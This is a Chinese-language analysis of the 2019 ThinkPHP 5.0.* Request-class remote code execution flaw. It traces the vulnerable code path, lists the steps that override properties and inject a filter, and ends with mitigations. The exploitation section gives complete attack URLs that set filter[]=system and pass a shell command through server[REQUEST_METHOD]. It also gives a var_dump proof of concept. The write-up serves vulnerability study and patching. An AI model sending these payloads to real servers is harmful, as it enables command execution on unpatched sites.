ThinkPHP request函数远程代码执行
字数 973 2025-08-18 11:37:53

ThinkPHP request函数远程代码执行漏洞分析

漏洞概述

2019年1月11日爆出的ThinkPHP 5.0.*版本中存在一个远程代码执行(RCE)漏洞,该漏洞源于Request类中的方法处理不当,攻击者可以通过精心构造的请求实现任意代码执行。

漏洞分析

漏洞触发点

漏洞核心位于library/think/Request.php文件中的method函数,修复点在该函数中。相关调用出现在isGetisPostisPutisDeleteisHeadisPatchisOptions等方法中。

关键代码分析

  1. method函数问题
// 通过POST传入_method=xxx时
$this->method = strtoupper($this->server('REQUEST_METHOD', 'GET'));
$this->{$this->method}($_POST); // 危险点:调用可控方法
  1. __construct函数问题
protected function __construct($options = []) {
    foreach ($options as $name => $item) {
        if (property_exists($this, $name)) {
            $this->$name = $item; // 属性覆盖
        }
    }
    if (is_null($this->filter)) {
        $this->filter = Config::get('default_filter');
    }
    $this->input = file_get_contents('php://input');
}
  1. filterValue函数问题
// 最终执行点
call_user_func($filter, $value); // 可被利用执行任意命令

漏洞利用链

  1. 通过_method=__construct覆盖类属性
  2. 设置filter[]=system等危险函数
  3. 通过server[REQUEST_METHOD]传入要执行的命令
  4. 触发param函数调用链最终执行命令

漏洞利用

两种利用场景

  1. Debug模式下的利用
public/index.php?s=captcha&_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al
  1. 非Debug模式下的利用(需captcha组件):
public/index.php?s=captcha&_method=__construct&method=get&filter[]=system&server[REQUEST_METHOD]=ls -al

验证POC

public/index.php?s=captcha&_method=__construct&method=get&filter[]=var_dump&server[REQUEST_METHOD]=this_is_a_test

漏洞原理总结

  1. 变量覆盖:通过_method=__construct覆盖Request类属性
  2. 过滤器控制:通过filter[]参数控制最终执行的函数
  3. 命令注入:通过server[REQUEST_METHOD]注入要执行的命令
  4. 路由触发:利用captcha组件的路由注册机制触发漏洞

修复方案

  1. 升级到ThinkPHP官方修复版本
  2. 临时修复可修改Request.php中的method函数,增加方法白名单验证
  3. 关闭Debug模式(仅能缓解部分利用场景)
  4. 移除不必要的第三方组件(如captcha)

技术要点

  1. 漏洞利用需要控制三个关键参数:

    • _method=__construct
    • filter[]=要执行的函数
    • server[REQUEST_METHOD]=命令或参数
  2. 漏洞触发需要满足以下条件之一:

    • 开启Debug模式
    • 安装了可注册路由的第三方组件(如captcha)
  3. 漏洞利用链的核心是:

    • 通过构造特殊请求控制Request类的属性和方法
    • 利用filter机制实现命令执行
    • 通过路由机制触发param函数调用链
ThinkPHP request函数远程代码执行漏洞分析 漏洞概述 2019年1月11日爆出的ThinkPHP 5.0.* 版本中存在一个远程代码执行(RCE)漏洞,该漏洞源于Request类中的方法处理不当,攻击者可以通过精心构造的请求实现任意代码执行。 漏洞分析 漏洞触发点 漏洞核心位于 library/think/Request.php 文件中的 method 函数,修复点在该函数中。相关调用出现在 isGet 、 isPost 、 isPut 、 isDelete 、 isHead 、 isPatch 、 isOptions 等方法中。 关键代码分析 method函数问题 : __ construct函数问题 : filterValue函数问题 : 漏洞利用链 通过 _method=__construct 覆盖类属性 设置 filter[]=system 等危险函数 通过 server[REQUEST_METHOD] 传入要执行的命令 触发param函数调用链最终执行命令 漏洞利用 两种利用场景 Debug模式下的利用 : 非Debug模式下的利用 (需captcha组件): 验证POC 漏洞原理总结 变量覆盖 :通过 _method=__construct 覆盖Request类属性 过滤器控制 :通过 filter[] 参数控制最终执行的函数 命令注入 :通过 server[REQUEST_METHOD] 注入要执行的命令 路由触发 :利用captcha组件的路由注册机制触发漏洞 修复方案 升级到ThinkPHP官方修复版本 临时修复可修改 Request.php 中的method函数,增加方法白名单验证 关闭Debug模式(仅能缓解部分利用场景) 移除不必要的第三方组件(如captcha) 技术要点 漏洞利用需要控制三个关键参数: _method=__construct filter[]=要执行的函数 server[REQUEST_METHOD]=命令或参数 漏洞触发需要满足以下条件之一: 开启Debug模式 安装了可注册路由的第三方组件(如captcha) 漏洞利用链的核心是: 通过构造特殊请求控制Request类的属性和方法 利用filter机制实现命令执行 通过路由机制触发param函数调用链